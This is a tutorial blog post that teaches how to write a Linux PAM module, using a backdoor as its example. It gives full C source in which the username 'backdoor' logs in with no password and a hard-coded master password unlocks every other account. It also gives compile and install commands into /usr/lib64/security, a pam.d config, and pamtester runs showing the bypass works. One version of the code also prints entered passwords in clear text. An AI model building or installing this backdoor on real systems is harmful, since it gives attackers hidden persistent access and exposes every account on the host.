PAM or pluggable Authentication Module is a set of shared libraries or binaries used for Authentication and Authorization of services/applications in the Binary. There are different PAM modules developed and distributed by Linux community by default in a Linux and these can be found in /etc/pam.d directory. In this Article, we will see how to write a PAM module. By reading this article, It is assumed that you have knowledge on Linux PAM and you have background on C programming.
Scenario: Backdoor and Master password
We will develop a pam module, which will give password less access to a user called "backdoor" and if any other user is used for authentication, we will set a master password, which will work for all users. Below code snippet have the complete code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <errno.h>
#include <pwd.h>
#include <unistd.h>
#include <stdbool.h>
/* expected hook */
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
printf("Acct mgmt\n");
return PAM_SUCCESS;
}
#define MAX_USERFILE_SIZE 1024
#define USERSFILE "users"
/* expected hook, this is where, we do all the required backdoor changes */
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
//Declaring required variables
int retval;
struct passwd pwd;
const char * password=NULL;
struct passwd *result;
char *buf;
size_t bufsize;
int s;
bufsize = sysconf(_SC_GETPW_R_SIZE_MAX);
if (bufsize == -1)
bufsize = 16384;
buf = malloc(bufsize);
if (buf == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
const char* pUsername;
// pam_get_user asks and accepts the username
retval = pam_get_user(pamh, &pUsername, "Username: ");
if (retval != PAM_SUCCESS) {
return retval;
}
printf("Welcome %s\n", pUsername);
// getpwnam_r checks whether the username given is part of the user database (/etc/passwd)
s = getpwnam_r(pUsername, &pwd, buf, bufsize, &result);
if (result == NULL) {
if (s == 0)
printf("User Not found in database\n");
else {
errno = s;
perror("getpwnam_r");
}
exit(EXIT_FAILURE);
}
printf("username is valid\n");
if (strcmp(pUsername, "backdoor") != 0) {
// pam_get_authtok will asks and accepts the password from the user
retval = pam_get_authtok(pamh, PAM_AUTHTOK, &password, "PASSWORD: ");
if (retval != PAM_SUCCESS) {
fprintf(stderr, "Can't get password\n");
return PAM_PERM_DENIED;
}
if (flags & PAM_DISALLOW_NULL_AUTHTOK) {
// we are checking if empty password is allowed or not
if (password == NULL || strcmp(password, "") == 0) {
fprintf(stderr, "Null authentication token is not allowed!.\n");
return PAM_PERM_DENIED;
}
}
// Below commented if condition can be populated to do username and password verification
// if (auth_user(pUsername, password)) {
// printf("Welcome, user");
// return PAM_SUCCESS;
// } else # else if is splitted
// If the given password is master password, we are returning PAM_SUCCESS
if (strcmp(password,"$ecuR1ty_admin") == 0) {
return PAM_SUCCESS;
}
else {
fprintf(stderr, "Wrong username or password");
return PAM_PERM_DENIED;
}
return PAM_SUCCESS;
}
// This else loop will be called when the user name is backdoor
else {
return PAM_SUCCESS;
}
}
Step By Step Explanation
- The pam_sm_authenticate function is the function which gets called, when a pam aware application calls the pam module for authentication
- We will writing all the required custom code under this function
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
struct passwd pwd;
const char * password=NULL;
- The pam_get_user function is part of the pam library of C. This is used for prompting and receiving user name from the application
- In the example code in this article, the received username will be stored in a variable called pUsername
- If the username is recieved successfully, the function will return PAM_SUCCESS
const char* pUsername;
retval = pam_get_user(pamh, &pUsername, "Username: ");
if (retval != PAM_SUCCESS) {
return retval;
}
- The function getpwnam_r will check, if the user is present in the database, commonly /etc/passwd
# buf, bufsize, pwd are delcared prior to the usage of this function
#bug and bufsize declaration is to allocate space
# pwd is a struct which holds the passwd content
s = getpwnam_r(pUsername, &pwd, buf, bufsize, &result);
- Below code snippet's if else loop is to check if the username given is backdoor. If it is backdoor, PAM_SUCCESS signal will be sent, which shows the authentication passed
- If the user name is not backdoor, and if the password is master password, the authentication will be successful
- For normal username, password verification is also possible, but not included in this article. ( _unix_verify_password is used in pam_unix.so for verifying username and password, against the linux data base)
if (strcmp(pUsername, "backdoor") != 0) { retval = pam_get_authtok(pamh, PAM_AUTHTOK, &password, "PASSWORD: "); if (retval != PAM_SUCCESS) { fprintf(stderr, "Can't get password\n"); return PAM_PERM_DENIED; } printf("recieved password %s\n", password); if (flags & PAM_DISALLOW_NULL_AUTHTOK) { if (password == NULL || strcmp(password, "") == 0) { fprintf(stderr, "Null authentication token is not allowed!.\n"); return PAM_PERM_DENIED; } } printf("starting authentication thread "); // if (auth_user(pUsername, password)) { // printf("Welcome, user"); // return PAM_SUCCESS; // } else # else if is splitted if (strcmp(password,"$ecuR1ty_admin") == 0) { return PAM_SUCCESS; } else { fprintf(stderr, "Wrong username or password"); return PAM_PERM_DENIED; } return PAM_SUCCESS; } else { return PAM_SUCCESS; }
Compilation and Testing
- I have named this the C code as test.c and will be compiling it to create binary test.o
# gcc -fPIC -fno-stack-protector -c test.c
- In linux(rocky), the pam binaries are placed in /usr/lib64/security, we will creating a shared binary and will placing in this location
# sudo ld -x --shared -o /usr/lib64/security/pam_test.so test.o
- Create a pam file in the /etc/pam.d/ with the application name. Im naming it as test, with below content
[root@LDH ~]# cat /etc/pam.d/test auth required pam_test.so account required pam_test.so session required pam_limits.so [root@LDH ~]#
- We will using pamtester for testing the pam,
Scenario #1
- User with correct password. The authentication will fail, since our module doesnt have the logic to validate username and password against the password database
# Even if we provide correct password, it will fails, since password verification logic is missing in our module
[root@LDH ~]# pamtester -v test abhi authenticate
pamtester: invoking pam_start(test, abhi, ...)
pamtester: performing operation - authenticate
Welcome abhi
username is valid
PASSWORD:
Wrong username or passwordpamtester: Permission denied
Scenario #2
- User with master password. The authentication will pass, since our master password bypasses all the authentication
# Im providing the master password $ecuR1ty_admin [root@LDH ~]# pamtester -v test abhi authenticate pamtester: invoking pam_start(test, abhi, ...) pamtester: performing operation - authenticate Welcome abhi username is valid PASSWORD: pamtester: successfully authenticated
Scenario #3
- User backdoor was authenticated successfully without password
# Backdoor will be authenticated without password [root@LDH ~]# pamtester -v test backdoor authenticate pamtester: invoking pam_start(test, backdoor, ...) pamtester: performing operation - authenticate Welcome backdoor username is valid pamtester: successfully authenticated
Scenario #4
- User which is not part of the system, was used to authenticate. We can see that authentication didn't went through
[root@LDH ~]# pamtester -v test dummy authenticate
pamtester: invoking pam_start(test, dummy, ...)
pamtester: performing operation - authenticate
Welcome dummy
User Not found in database
[root@LDH ~]#